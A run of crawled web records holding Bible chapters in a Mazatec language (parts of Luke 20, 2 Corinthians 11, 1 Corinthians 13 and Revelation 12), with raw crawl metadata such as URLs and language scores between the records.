kjòchi̱ya‑la̱ jè kjoa̱ mangásòn, nga kondra̱ 'tse̱‑ní koni 'sín tsi'kéna̱jmí; tanga jñá xi̱ta̱ na̱xi̱ndá itsakjòn‑la̱. 20Tanga isikìnda̱‑ní; isìkasén 'maá i'ka‑la̱ xi̱ta̱ ra ijchò 'nchré‑la̱, ra ko̱'sín ki'sìn koni tsa xi̱ta̱ nda; nga mejèn‑la̱ sa̱kò jngo‑la̱ 'én ra 'cho tsò mé‑ni nga ka̱ma ya̱ si̱ìnga̱tsja‑ni xi̱ta̱xá ítjòn ra tíbatéxoma. 21Jñà xi̱ta̱ kìi̱, iskonangií‑la̱, kitsò‑la̱: ―Maestro, 'ya‑náji̱n nga ndaá bakon‑yi mé 'én ra nakjí; mì kì tsa xi̱ta̱ chjaájin; 'én kixi̱í bakon‑yi koni 'sín tjín ndi̱yá‑la̱ Nainá. 22¿A ndaá tjín nga kíchjítjié tsajmì a̱'ta 'tse̱ César, ra xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Roma, o̱ ra majìn‑ní? 23Jesús, ti̱'kia̱á kjòchi̱ya‑la̱ nga ta i̱nchikònda̱cha̱‑la̱, kitsò‑la̱: ―¿Mé‑ni nga mejèn‑no nga 'a̱n chjí'tá‑ná? 24Ta̱kón jngo‑ná to̱n. ¿Yá 'tse̱ i̱sén ko̱ 'í ra tjí'ta? Kitsó xi̱ta̱ kìi̱: ―'Tse̱é jè César, jè ra xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Roma. 25Jesús kitsó‑la̱: ―'Ti̱‑la César tsa'koa̱, jè ra 'tse̱ César, ko̱ 'ti̱‑la Nainá jè ra 'tse̱ Nainá. 26Nga'tsì 'én ra kiìchja̱ Jesús ya̱ ngixko̱n xi̱ta̱ na̱xi̱ndá, mì kì isakò‑la̱ nga ka̱ma koa̱àngi. Tà kjóxkón‑la̱; ta jyò tsikitsa̱jna jnchro. 27Jñà xi̱ta̱ saduceo, ra mì kì makjiín‑la̱ nga faháya‑ila̱ mi'ken, ijchò kjonangi‑la̱ Jesús, 28kitsò: ―Maestro, jè Moisés, 'koa̱á 'sín tsakájna xa̱jo̱n: tsa jngo xi̱ta̱ ki̱yá ra mì kì 'se̱‑la̱ i̱xti ko̱ chjo̱ón‑la̱, tjíné‑la̱ ti̱jè 'ndse̱ ki̱xan‑ko̱ india‑ni jè chjo̱ón mé‑ni nga kata'se‑la̱ i̱xti ra ya̱ ki̱chja̱‑nì a̱'ta 'tse̱ ndí mi'ken. 29'India‑ró ito xi̱ta̱ tsikitsa̱jna ra ta̱jngo na̱, ko̱ ta̱jngo na̱'ìn. Jè ra tjòn, ki'se‑la̱ chjo̱ón; tanga ta 'koa̱á 'sín 'ken, mì kì i̱xti ki'se‑la̱. 30Jé 'ndse̱ ra ma‑ni jò, ixan‑ko̱ india‑ni chjo̱ón‑la̱; 'kia̱ nga 'ken, mì kì ki'se‑te‑la̱ i̱xti. 31Jè chjo̱ón ra̱kìi̱, ixan‑ko̱ó ra ma‑ni jàn; 'koa̱á 'sín ixan‑ko̱ skanda ra ma‑ni ito, tanga ni̱jngo i̱xti ki'se‑la̱ skanda nga 'ken. 32Ra kjomà a̱skan‑nioo̱, 'keén‑te jè ndí chjo̱ón. 33Tsa 'kia̱ nga kjoa̱áya india‑ila̱, ¿ñáa̱‑ni xi̱ta̱ kìi̱ ra chjo̱ón‑la̱ ka̱ma kjòn‑ni? Nga̱ ixan‑ko̱ ijyeé kó ito xi̱ta̱ 'xi̱n kìi̱. 34Jesús, 'kia̱á kitsò‑la̱: ―Xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱, ko̱ íchjín ko̱ íchjá bixan‑ní. 35Tanga jñà xi̱ta̱ ra bakèn‑la̱ nga ya̱ kítsa̱jna jè i̱sà'nde ra 'sa̱ kj'i̱í, ko̱ nga kjoa̱áya india‑ila̱, mì tsa ti̱ ki̱xan‑ni. 36Ko̱ mì tsa ti̱ ki̱yá‑ni. Nga̱ 'koa̱á 'sín ngásòn kítsa̱jnakon koni jñà ìkja̱li̱; ijyeé i̱xti‑la̱ Nainá ma 'kia̱ nga ijye kjoa̱áya‑ila̱. 37Skanda jè Moisés, 'koa̱á 'sín bakón‑ya nga jñà ra ijye 'ken, kjoa̱áya india‑ila̱. 'Koa̱á 'sín tjí'ta xa̱jo̱n a̱'ta 'tse̱ yá na'yá ra títì, nga tsò Moisés: \"Jè ra Nainá 'mì‑lá, ti̱'koa̱á Nainá tsò‑la̱ Abraham, Isaac, ko̱ Jacob.\" 38¡Jè Nainá, mì tsa Nainá 'tse̱ mi'ken‑jìn, 'tse̱é jñà xi̱ta̱ ra títsa̱jnakon! Nga̱ ra a̱'ta 'tse̱ Nainá, títsa̱jnakon ijyeé nga'tsì xi̱ta̱. 39'Kia̱á kiìchja̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, kitsò: ―Maestro, nda tjín koni 'sín kanakjí. 40Ni̱ì‑ti̱‑jngo xi̱ta̱ ra kjó'ñó‑ni ikon nga iskonangi-isa‑la̱. 41Jesús kitsó‑ní: ―¿Mé‑ni nga tsò‑ni 'én ra tjín nga jè Cristo [ra xá si̱ìkasén‑ni Nainá] nga ya̱á nchrabá‑nì tje̱‑la̱ a̱'ta 'tse̱ xi̱ta̱xá ítjòn ra tsi'kìn David? 42Nga̱ jè David, ti̱jé ko̱tsò‑ni ya̱ xa̱jo̱n 'tse̱ Salmo nga tsò: Jè Nainá kitsó‑la̱ Cristo ra tíjna ítjòn‑na: \"Ya̱ ti̱jna'tá‑ná nga kixi̱‑na̱, 43skanda 'kia̱ nga ijye sikítsa̱jnangia xi̱ta̱ kondra̱‑li ya̱ ñánda̱ i̱jnchasòn ndsa̱kì.\" 44Jè David, 'koa̱á 'sín kitsò‑la̱ jè Cristo [ra xá si̱ìkasén‑ni Nainá] nga jé tíjna ítjòn‑la̱. ¿Ko̱ kó'sín ma‑ni nga tje̱‑la̱ ma? 45'Kia̱ nga i̱nchi'nchré nga'tsì xi̱ta̱ na̱xi̱ndá, Jesús kitsó‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱: 46―Ti̱kinda̱a ijo‑no a̱'ta 'tse̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés; ra jñà, 'ñó tsjake nga jñà bimako̱ nikje ra ndajò kjòn. Ti̱'koa̱á 'ñó sasén‑la̱ nga nda kjón jcha̱xkón 'kia̱ nga síkjáya‑la̱ xi̱ta̱ ya̱ a̱jin ndi̱tsi̱n. Ko̱ jñà bátsji íxile̱ ra i̱jncha ítjòn ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío, ko̱ nga jñà kítsa̱jna'ta ítjòn ímixa̱ ya̱ ñánda̱ nga bakjèn xi̱ta̱ nga tjín 'sí. 47Fa'án ni'ya‑la̱ jñà ndí íchjín ra ijye 'ken 'xi̱n‑la̱. A̱kjòn sí taxki̱ tseé fìko̱ 'kia̱ nga 'sín kjo̱chikon, mé‑ni nga nda xi̱ta̱ ki̱tjongi‑nì. Jñà xi̱ta̱ kìi̱, isa̱á tse kjo̱hi'in 'ki̱‑la̱.\nSan Lucas 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/20","date":"2013-12-07T10:42:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054000\/warc\/CC-MAIN-20131204131734-00001-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":1040,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¡Mején‑na tsa katachíkjoa̱ jngohíjta‑najiòn nga ki̱ná'ya‑ná, nga̱ 'koa̱á 'sín kichjàa̱ koni tsa mì nda tjín kjo̱bítsjen‑na̱! ¡'Tia̱àn kjo̱nda katachíkjoa̱ jngohíjta‑no! 2Nga̱ 'koa̱á 'sín makájno‑na ra a̱'ta tsa̱jiòn‑jiòn koni 'sín makájno‑la̱ jè Nainá mé‑ni nga mì kj'ií kohíko̱‑no. Nga̱ jngoó 'xi̱n ijye isíkíjna'ñó‑no ra jè Cristo ko̱ 'koa̱á 'sín mejèn‑na singátsja‑no a̱'ta 'tse̱ Cristo koni tsa jngo chjo̱ón xa̱ngó ra tsje tíjna. 3Tanga jé ra títsakjoo̱n, koni 'sín ki'sìn jè ye̱ nga ko̱ó kjoa̱ maña̱‑la̱ nga iskonda̱cha̱‑la̱ jè chjo̱ón ra tsi'kìn Eva, tsa ko̱'sín ko̱ka̱ma'tin‑te jiòn, tsa ko̱'sín ki̱'nde‑te jiòn nga si̱ìkitsón kjo̱bítsjen‑no nga ngakjá kongió koni 'sín nga ijye kixi̱ kji'tatákon jiòn jè Cristo. 4Nga̱ bi'nde‑no 'kia̱ nga bijchójkon‑no jñà xi̱ta̱ ra isa̱ kj'ií 'sín 'béna̱jmíya‑no ra a̱'ta 'tse̱ Jesús koni 'sín ijye tsi'kèna̱jmíya‑laji̱n. Ko̱ makjiín‑te‑najiòn 'kia̱ nga isa̱ kj'ií 'sín tsò kjo̱bítsjen ra 'béna̱jmíya‑no a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá ra ijye ichjíbé jiòn ya̱ a̱jin inìma̱‑no. Ti̱'koa̱á makjiín‑te‑najiòn 'kia̱ nga isa̱ kj'ií tsò 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra 'béna̱jmíya‑no koni 'sín tsò jè ra kjokjiín ítjòn‑no. Ta isa̱á sasén‑no nga na'yá‑la jñà xi̱ta̱ kìi̱. 5'Koa̱á 'sín síkítsjen ra 'a̱n, nga mì tsa mé ra isa̱ nangi tíjna̱‑la̱ jñà xi̱ta̱ ra ko̱'sín 'yaxkon jiòn nga jñà títsa̱jna ítjòn‑la̱ xi̱ta̱ ra tsikíxáya‑la̱ Cristo. 6Ni̱'sín mì tsa tsijen ískotá'yáa̱ koni 'sín nga chjàa̱, tanga mì tsa mé kjo̱bítsjen ra chija'ta‑na ra a̱'ta 'tse̱ 'én‑la̱ Nainá. Ko̱ 'koa̱á 'sín ijye nda tsakon kjòn‑laji̱n a̱'ta 'tse̱ nga'tsì kjoa̱ ra ijye ki'nià‑ji̱n. 7¿A 'choó tjín koni 'sín kí'siaa̱n 'kia̱ nga ta ítsakon‑yá kjo̱tjò‑najiòn jè 'én xi̱tse̱‑la̱ Nainá ra nda tsò, nga mì tsa mé ra ísíjé‑no? Nda kísihi̱ma̱á‑na ijo‑na̱ mé‑ni nga jiòn nda tsikitsa̱jna‑najiòn. 8Skanda jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra xìn i̱'nde tjítsa̱jna ítsachrjéjno‑la̱ nga kítsja'ndé‑la̱ nga tsikíchjí‑na, mé‑ni nga kjomà ísíxáko̱o‑no ra jiòn. 9'Kia̱ nga mé ra kjochjeén‑na 'kia̱ nga ya̱ tsakáti̱jnako̱‑no, ni̱yá ra ísijtí‑la̱. Ta mé tsajmì ra kjochjeén‑na, jñá 'ndsé ra 'ji‑ni ya̱ nangi Macedonia kitsjà‑na. 'Koa̱á 'sín kí'siaa̱n nga majìn‑naa̱ nga jiòn i'in‑ya kjomà‑no, ko̱ takó 'koa̱á 'sín 'sin‑isaa̱. 10Ngi ko̱ó 'én kixi̱‑la̱ Cristo ra ijye ko̱'sín tíjnajin‑na nga ko̱'sín chjàa̱, nga̱ mì kì yá ra ma ko̱techjà‑na ya̱ nga tíjngo nangi Acaya nga nda ma síkíjna ijo‑na̱ a̱'ta 'tse̱ kjoa̱ ra kí'siaa̱n, nga̱ ta kjo̱tjò ítsakon‑yá‑no. 11¿Mé‑ni ko̱'sín xian‑na? ¿A kií‑ní nga mì kì tsjake̱‑najiòn? Jè Nainá ndaá be nga 'ñó tsjake̱‑najiòn. 12Koni 'sín tí'siaa̱n, takó 'koa̱á 'sín 'si̱in‑isa, mé‑ni nga mì kì tjó'nde‑la̱ jñà xi̱ta̱ ra mejèn‑la̱ nga ta ijo‑la̱ jeya si̱ìkítsa̱jna a̱'ta 'tse̱ kjoa̱ ra 'sín, nga mejèn‑la̱ ko̱'sín kítsa̱jna koni ra ji̱n. 13Nga̱ jñà xi̱ta̱ kìi̱, mì tsa yá ra tsijen tsikíxáya‑la̱. Ta kií xá 'sín nga xi̱ta̱ bíndo̱cha̱‑la̱, nga ko̱'sín síngoya ijo‑la̱ koni tsa ngi jè saba Jesucristo tsikíxáya‑la̱. 14Ko̱ mí‑la tsa ko̱xkón‑ná kjoa̱ kìi̱, nga̱ skanda jè xi̱ta̱‑ni̱í maá‑la̱ ko̱'sín si̱ìngoya ijo‑la̱ nga ko̱'sín ko̱tsíjen koni jngo ìkja̱li̱ ra 'ñó fate ni'í‑la̱, koni tsa ìkja̱li̱ 'tse̱ Nainá. 15'Koa̱á ma‑ni nga jñà xi̱ta̱ ra ya̱ síxá'ta‑la̱ jè xi̱ta̱‑ni̱í, mì tsa jngo kjoa̱ ra ko̱xkón‑ná tsa ko̱'sín síngoya ijo‑la̱ nga ko̱'sín ko̱ma koni tsa xi̱ta̱ ra 'béna̱jmíya kjoa̱ kixi̱‑la̱ Nainá. Tanga jñà xi̱ta̱ kìi̱, 'koa̱á 'sín tjábé‑la̱ chjí‑la̱ a̱skan‑nioo̱, koni 'sín tjín kjoa̱'cho ra i̱nchi'sín. 16'Koa̱á 'sín tíxin india‑no, kì ti̱ tsja yá ra ko̱'sín tsò‑ni nga mì nda tíjna kjo̱bítsjen‑na̱; ni̱'sín tsa ko̱'sín níkítsjen jiòn, ti̱'nde‑ná nga ko̱'sín kokó‑no koni tsa mì nda tíjna kjo̱bítsjen‑na̱, mé‑ni nga ti̱'koa̱á 'a̱n, ko̱ma‑te nda síkíjna‑na ijo‑na̱. 17Jñà 'én ra tíchjàa̱ nga 'a̱n nda sìkíjnaa̱ ijo‑na̱, 'koa̱á 'sín tíchjàa̱ koni tsa mì nda tíjna kjo̱bítsjen‑na̱ nga jngoó 'én ra mì kì sasén‑la̱ Na̱'ín‑ná. 18Koni 'sín kjìn ma‑ni xi̱ta̱ ra 'ñó nda síkítsa̱jna ijo‑la̱ a̱'ta 'tse̱ kjoa̱ ra 'sín ya̱ i̱sà'nde, 'koa̱á ti̱'sín mejèn‑na ra 'a̱n nga nda sìkíjnaa̱ ijo‑na̱. 19'Koa̱á bixó jiòn nga 'ñó tjín‑no kjo̱bítsjen, tanga bi'nde‑nájiòn nga kótsò‑no xi̱ta̱ ra mì kì nda tjíhijyo kjo̱bítsjen‑la̱. 20Nga̱ skanda bi'ndeé‑la jñà xi̱ta̱ nga chi̱'nda'ñó‑la̱ 'sín‑no, ko̱ nga bachrjejno‑no tsajmì ra tjín‑no, ko̱ nga beton‑no, ko̱ jñà ra ti̱'koa̱á bachrjengi‑no, ko̱ skanda síjtsin'á ya̱ i̱sén‑no. 21¿Kó bixó jiòn? ¿A masabá‑na nga mì ko̱'sín inakjoá‑laji̱n? Nga̱ 'koa̱á bixó jiòn nga batoó indakjoa̱ ki'nià‑ji̱n. Tanga tsa jñà xi̱ta̱ ra i'ka 'ñó 'nga ma ikon nga 'ñó chja̱, ra 'a̱n, 'koa̱á ti̱'sín 'ñó kichjà‑te nga 'ñó 'ke‑te‑la̱ takoàn, ni̱'sín 'koa̱ 'sín tíchjàa̱ koni tsa mì nda tíjna kjo̱bítsjen‑na̱. 22Jñà xi̱ta̱ kìi̱, ¿a 'ngaá ma‑la̱ nga 'én hebreo chja̱? Ra 'a̱n ti̱'koa̱á chjà‑te 'én hebreo. ¿A 'ngaá ma‑la̱ nga xi̱ta̱ Israel ra jñà? Ti̱'koa̱á Israel‑te tsa̱'a̱n. Ko̱, ¿a 'ngaá ma‑la̱ nga jé Abraham ra kjomà xi̱ta̱ jchínga‑la̱? Ti̱'koa̱á 'a̱n, jé‑te kjomà xi̱ta̱ jchínga‑na̱. 23¿A chi̱'nda‑la̱ Cristo‑ní jñà xi̱ta̱ kìi̱? Ra 'a̱n, isa̱á 'ñó nda tísíxá‑la̱ jè Cristo. ('Kia̱ nga ko̱'sín tíchjà, 'koa̱á 'sín jngoya‑la̱ koni tsa mì kì nda tíjna kjo̱bítsjen‑na̱). Isa̱á 'ñó tse xá tjín‑na ra 'a̱n, isa̱á 'ñó kjo kjín 'ka̱ kaya nda̱yá, ko̱ isa̱á ta 'ñó kjo kjín 'ka̱ nda síki'on‑na jñà xi̱ta̱, ko̱ taxki̱ kjo kjín 'ka̱ batojiaa̱n ñánda̱ nga kja̱me sí'ken‑na jñà xi̱ta̱. 24Ra a̱'ta 'tse̱ xi̱ta̱ judío, kjo 'òn 'ka̱ ko̱'sín bajá‑na nga tsjá‑na kjo̱hi'in ra kàchrjó'òn ijòn 'ka̱ tsajá‑na na'ñó xo̱xín nga jngó jngó 'ka̱. 25Jàn 'ka̱ tjín‑ni nga ki'tsì‑na kjo̱hi'in nga ki'se‑na xka̱ i̱jnchra̱, ko̱ jngo 'ká kja̱meé isì'ken‑na xi̱ta̱ nga tsikínè‑na na̱jo̱. Jàn 'ka̱ iskajin‑ndá jè chitso ñánda̱ ya̱ chi̱ba̱‑la̱ tíjna̱ya̱; ko̱ jngo ni̱chjin ko̱ jngo ni̱tje̱n ya̱ tsakáti̱jnajiaa̱n ya̱ nga masen‑la̱ ndáchikon. 26Ta ñánda̱ nga bajme, ta kjo̱skon tjín ki'ta‑la̱; tjín kjo̱skon ya̱ xa̱ngá ñánda̱ bato, ko̱ tjín kjo̱skon a̱'ta 'tse̱ xi̱ta̱ chijé. Tjín kjo̱skon a̱'ta 'tse̱ ra xi̱ta̱ judío ko̱ a̱'ta 'tse̱ ra mì tsa xi̱ta̱ judío. Ískajiín‑te kjo̱skon ya̱ a̱jin‑la̱ na̱xi̱ndá, ko̱ ya̱ i̱'nde ñánda̱ nga tsìn xi̱ta̱. Tjín kjo̱skon ya̱ a̱jin‑la̱ ndáchikon, ko̱ ya̱ a̱jin‑la̱ jñà xi̱ta̱ ra ko̱'sín tsò nga 'ndsé ma. 27Kjín xá tíbatojiàa̱n ra 'ñó síki'on‑na. Kjo kjín 'ka̱ mì kì fájna̱fèe̱ nga 'kia̱ nga ni̱tje̱n. Tíbatojin‑náa̱ kjo̱hi'in ra 'tse̱ kjinchrá a̱'ta 'tse̱ tsajmì ra chineé ko̱ nandá ra 'yé, sa'koa̱á skanda mí kì bákje̱n. Tísikjín‑la̱ 'nchán nga skanda tsín‑na nikje ra fána̱ya. 28Kjín kjoa̱ tjín‑ni ra tíbatojin‑isa; mì tsa tà jñà‑nì kjoa̱ kìi̱. Ko̱ tímahiyí‑te‑na nga ni̱chjin nchijòn tísíkájno a̱'ta 'tse̱ nga'tsì na̱xi̱ndá‑la̱ Cristo ra tjín. 29Tsa 'kia̱ yá ra mahinda ikon a̱'ta 'tse̱ kjoa̱ ra makjiín‑la̱, ¿a mí tsa ti̱'koa̱ ka'ta‑te‑la̱ inìma̱‑na̱ 'kia̱ nga ko̱'sín ma? Ko̱ 'kia̱ nga yá ra kaníjin‑no jé, ¿a mí tsa 'ñó majti‑na ra 'a̱n? 30Tsa machjeén nga nda sìkíjnaa̱ ijo‑na̱, maá‑la nda sikíjna‑na ijo‑na̱ a̱'ta 'tse̱ kjoa̱ ra mahinda‑ni jè takoàa̱n. 31Nainá ra Na̱'ìn‑la̱ ma Jesucristo ra tíjna ítjòn‑ná, jé ra bakèn‑la̱ nga nda kata'yaxkón skanda ta mé ni̱chjin‑ni, jé nda tíbe nga mì tsa 'én ndiso‑jìn ra tíchjàa̱. 32Ya̱ Damasco jè xi̱ta̱ ra ya̱ tíbatéxoma ra jè kitsjà‑la̱ xá jè xi̱ta̱xá ítjòn ra 'mì Aretas, isìkasén xi̱ta̱‑la̱ nga isikìnda̱ ya̱ xo̱tjo̱ba̱‑la̱ na̱xi̱ndá, nga mejèn‑la̱ nga jtsa̱ba̱'ñó‑na. 33Tanga jñà xi̱ta̱, na'ñó tsikí'ta jngo ndi̱si̱yá ra isíkíjnaya‑na, mé‑ni nga tsaje̱n‑ngi‑na ya̱ ñánda̱ ti̱'xákji jè chrjó ra tjíchjàndi‑la̱ na̱xi̱ndá. 'Koa̱á 'sín kjomà‑ni nga ma jáhachinga.\n2 Corintios 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/11","date":"2013-12-10T21:58:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026161\/warc\/CC-MAIN-20131204133346-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":1147,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12'Ndi̱‑ni̱, ta 'koa̱á 'sín tsijen‑ná Nainá koni tsa 'kia̱ nga chi'sén jngeé chi̱tsín ra ijye tímaxa̱. Tanga ki̱jchò ni̱chjin nga nda kjón jchí'én Nainá. 'Ndi̱ 'ndi̱, ta chibaá tjín‑ni koni 'sín nga fìya‑na, tanga tíjna jngo ni̱chjin nga ske kjòo̱n kó'sín nga jè Nainá tsijen‑la̱ ra a̱'ta tsa̱'a̱n.\n1 Corintios 13:12\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/13\/12","date":"2013-12-06T01:56:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048970\/warc\/CC-MAIN-20131204131728-00017-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":0.9999318123,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 0.999931812286377}","num_words":52,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ya̱ ján ngajmi jngo kjo̱xkón tsatsíjen; jngo chjo̱ón tsatsíjen ra tjìkótjìjno tsá'bí koni tsa tjìkótjìjno jngo nikje ko̱ jè sá ya̱á tíjnangi ya̱ ndsa̱ko̱ ko̱ jngo corona tjí'a sko̱ ra tejò nitse tjí'ta‑la̱. 2Jè chjo̱ón ra̱kìi̱, i'ndí tjíhi'ma‑la̱; ko̱ 'ñó jchán tíkjindáyako̱ i̱ndsi̱'ba̱ nga títsin i'ndí‑la̱ ko̱ tseé kjo̱hi'in tísíkjiín. 3Ya̱ ján ngajmi, ìjngo kjo̱xkón tsatsíjen‑isa: jngo ye̱ ra 'ñó je 'ki tsatsíjen ra inì 'ki, ko̱ ito ma‑ni sko̱; ko̱ te ma‑ni jñà nchra̱já‑la̱, ko̱ jngó jngó corona ra i̱tsíñá kjòn tjí'a nga jngó jngó sko̱. 4Jè ndi'tsin ye̱, jngo jtín nitse tsikí'ndo̱fe jè ra jàn jtín ta nga'tsì jñà nitse ra tjín ya̱ ján ngajmi; a̱kjòn ya̱á tsikítsajo ya̱ a̱'ta nangi. Jè ye̱ ya̱á tsasijna'tà‑la̱ jè chjo̱ón ra mejèn jtsín i'ndí‑la̱, mé‑ni nga jè ski̱ne̱‑ni jè i'ndí‑la̱ chjo̱ón 'kia̱ nga ijye jtsín. 5Jè chjo̱ón, jngo i'ndí 'xi̱n kitsin‑la̱ ra ko̱'sín ko̱tèxoma‑la̱ nga'tsì na̱xi̱ndá ra tjín i̱sà'nde koni jngo xi̱ta̱ ra kjiya tsja jngo ki̱cha̱ ra koni 'ki xka̱hijnchra 'ki nga ki̱ìnè‑la̱ kjo̱hi'in xi̱ta̱ ra mì kì 'nchréhijon‑la̱. Ngi ko̱ó kjo̱hi'in ko̱tèxoma‑la̱ nga'tsì na̱xi̱ndá ra tjín. Tanga ta ndi̱to̱ón itja'án‑la̱ jè i'ndí‑la̱ chjo̱ón ra̱kìi̱; ko̱ ya̱á inikasén ya̱ ján ngajmi ya̱ ñánda̱ nga tíjna jè Nainá nga tíbatéxoma. 6Jè chjo̱ón, tsanga‑ní; ya̱á kijì ya̱ i̱'nde a̱'ta xìn ñánda̱ nangi kixì, ya̱ ñánda̱ nga Nainá ijye tsikíjnanda jngo‑la̱ i̱'nde, mé‑ni nga ya̱ kata'bì‑la̱ tsajmì ra ski̱ne̱ ra jngo jmi ko̱ jò sindo̱ ko̱ jàn‑kan ni̱chjin ya̱ kíjna. 7Ra ijye kjomà a̱skan‑nioo̱, ya̱ ján ngajmi, kjo̱jchán ki'se. Jè ìkja̱li̱ ítjòn ra 'mì Miguel ko̱ jñà ìkja̱li̱‑la̱, iskajàn‑ko̱ò jè ye̱ ra 'ñó je 'kioo̱. Jè ye̱ ra 'ñó je 'kioo̱, ko̱ jñà ìkja̱li̱ ra tjín‑la̱ ra jè, ni̱'sín 'ñó iskajàn‑ko̱ jñà ìkja̱li̱‑la̱ Nainá, 8mì kì ma isikijne‑la̱, ko̱ mì ti̱ kì mé i̱'nde ki'se‑la̱ ya̱ ján ngajmi. 9'Koa̱á 'sín kjomà‑ni nga itjokàjin ya̱ ngajmi jè ye̱ jchá ra 'mì: Xi̱ta̱‑ni̱í, ko̱ ra 'mì: Xi̱ta̱ Kondra̱, ra konda̱cha̱‑la̱ nga'tsì jñà xi̱ta̱ i̱sà'nde. Ya̱á inìkàtje̱n‑ngi ya̱ a̱'ta nangi ko̱ jñà ìkja̱li̱ ra tjín‑la̱. 10Kí'nchré jngo‑la̱ jta̱ ya̱ ján ngajmi ra 'ñó kiìchja̱ nga kitsò: ―'Ndi̱ 'ndi̱, ijyeé ijchó ni̱chjin nga jè Nainá si̱ìkítsa̱hijyondi̱í xi̱ta̱ xàngie̱é, ñánda̱ nga jè Nainá ko̱kòn nga'ñó‑la̱ koni 'sín nga jè batéxoma ko̱ jè kjo̱téxoma ra tjín‑la̱ jè Cristo [ra jè isìkasén]. Nga̱ ijyeé kinìkàtje̱n‑ngi jè ra ko̱ ni̱chjin ko̱ ni̱tje̱n tsakánè‑la̱ 'én ndiso jñà xi̱ta̱ xàngie̱é ya̱ ngixko̱n Nainá. 11Jñà xi̱ta̱ xàngie̱é, ngi ko̱ó nga'ñó ra tjín‑la̱ jè jní ra tsikíxten jè Forrè isikijne‑ila̱, ko̱ ngi ko̱ó jñà 'én ra kitsjà a̱'ta 'tse̱ Nainá, ko̱ mì kì kitsakjòn‑la̱ ni̱'sín kjo̱biya. 12Tsja kata'se‑la̱ jè ngajmi ko̱ jñà ra ya̱ títsa̱jna. Tanga, i̱ma̱‑ró‑no jiòn ra ya̱ titsa̱jna ya̱ a̱'ta nangi ko̱ ya̱ a̱jin ndáchikon nga̱ jè xi̱ta̱‑ni̱í ijye ya̱ ijchòkajen‑nè‑no ko̱ 'ñó jti tjín‑la̱; nga̱ be‑ní nga ta chibaá ni̱chjin kíjna‑isa. 13'Kia̱ nga ijye kíjtsee̱ jè ye̱ ra 'ñó je 'ki nga ijye inìkàtje̱n‑ngi ya̱ a̱'ta nangi, tsahatji̱ngií‑la̱ jè chjo̱ón ra kitsin‑la̱ i'ndí 'xi̱n. 14Tanga jè chjo̱ón, jò na̱jngá‑la̱ xija̱ tsi'kì‑la̱ ra 'ñó i'i kjòn mé‑ni nga kjomà itjotjén‑ni nga tsanga‑la̱ jè ye̱ ra 'ñó je 'kioo̱; ya̱á kijì ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì; jàn nó masen ya̱ tsikijna ñánda̱ nga tjínè‑la̱ nga ko̱kinda̱ ko̱ nga 'ki̱‑la̱ tsajmì ra ski̱ne̱. 15Jè ye̱ ra je 'kioo̱, nandá tsachrje tsa'ba, ra ya̱ tsachrjetji̱ngi‑la̱ jè chjo̱ón, mé‑ni nga jè ndáje̱ ra tsachrje tsa'ba ko̱maá i̱ko̱ chrjoba‑ni jè chjo̱ón. 16Tanga jé nangi tsasìko̱ jè chjo̱ón; itjá'xa̱jiín jè nangi, ko̱ ya̱á 'jaha'sen jè ndáje̱ ra tsachrje tsa'ba jè ye̱ ra 'ñó je 'kioo̱. 17'Ñó jti kjomà‑isa‑la̱ jè ye̱ a̱'ta 'tse̱ jè chjo̱ón nga mì kì kjomà isìko̱; a̱kjòn ya̱á kijìtji̱ngi‑la̱ jñà xi̱ta̱ ra ya̱ chja̱‑ni tje̱‑la̱ chjo̱ón ra̱kìi̱ nga kiì kjaán‑ko̱ nga'tsì xi̱ta̱ ra síhitjasòn jñà kjo̱téxoma‑la̱ Nainá ko̱ jñà ra nda tsjá 'én‑la̱ a̱'ta 'tse̱ Cristo. 18Ko̱ jè ye̱ ya̱á tsikijnajin chrjoo̱ ra tjín ya̱ a̱ndi ndáchikon.\nApocalipsis 